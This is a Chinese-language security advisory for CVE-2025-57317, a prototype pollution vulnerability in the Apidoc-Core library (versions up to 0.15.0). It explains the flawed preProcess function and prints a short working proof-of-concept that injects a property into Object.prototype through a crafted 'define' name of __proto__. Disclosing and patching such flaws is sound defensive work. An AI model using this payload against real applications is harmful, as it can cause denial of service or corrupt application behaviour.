Apidoc-Core易受原型污染的影响CVE-2025-57317
Apidoc-Core 是一个用于生成 API 文档的核心工具库,它更多是底层依赖,通常用于从代码注释中提取信息并自动生成结构化的 API 文档。
一、基本情况
Apidoc-Core 是遵循Apidoc-spec生成apidoc结果的解析器库的核心部分,多时候与具体文档生成工具(如 apidoc 的 npm 包)结合使用。
Apidoc-Core 可帮助开发者高效地维护 API 文档,提供解析注释、处理文档结构、生成输出格式,避免手动编写文档的繁琐和不一致问题。
栋科技漏洞库关注到 Apidoc-Core 受影响版本中存在一个原型污染漏洞,该漏洞被追踪为CVE-2025-57317,该漏洞的CVSS 3.X评分7.5。
二、漏洞分析
CVE-2025-57317漏洞是在 Apidoc-Core 版本低于或等于0.15.0的preProcess函数中的原型污染漏洞,可能导致拒绝服务(DoS)等后果。
漏洞源于在将用户提供的数据合并到内部结构之前对其验证不足,攻击者可以通过提供精心制作的负载来注入Object.prototype上的属性。
这使得攻击者能够操纵对象继承链,在处理API文档文件中的嵌套数据结构期间,该软件的受影响版本不正确地限制了对对象原型的修改。
具体来说,当解析包含精心编制的“define”属性的格式错误的输入时,漏洞应用程序可能会无意中将属性分配给基础JavaScript对象的原型。
漏洞可导致拒绝服务情况或依赖原型链完整性的应用程序出现意外行为,影响“apidoc core/libworkers/api_body_title”模块preProcess函数。
漏洞代码如下:
let parsedFiles = [
[
{
global: {
'define': {
name: "__proto__",
},
},
version: "polluted",
}
]
]
require("apidoc-core/lib/workers/api_body_title").preProcess(parsedFiles,[], {})
console.log({}.polluted !== undefined ? '[POLLUTION_TRIGGERED]' : '');
三、影响范围
Apidoc-Core <= 0.15.0
四、修复建议
Apidoc-Core > 0.15.0
五、参考链接
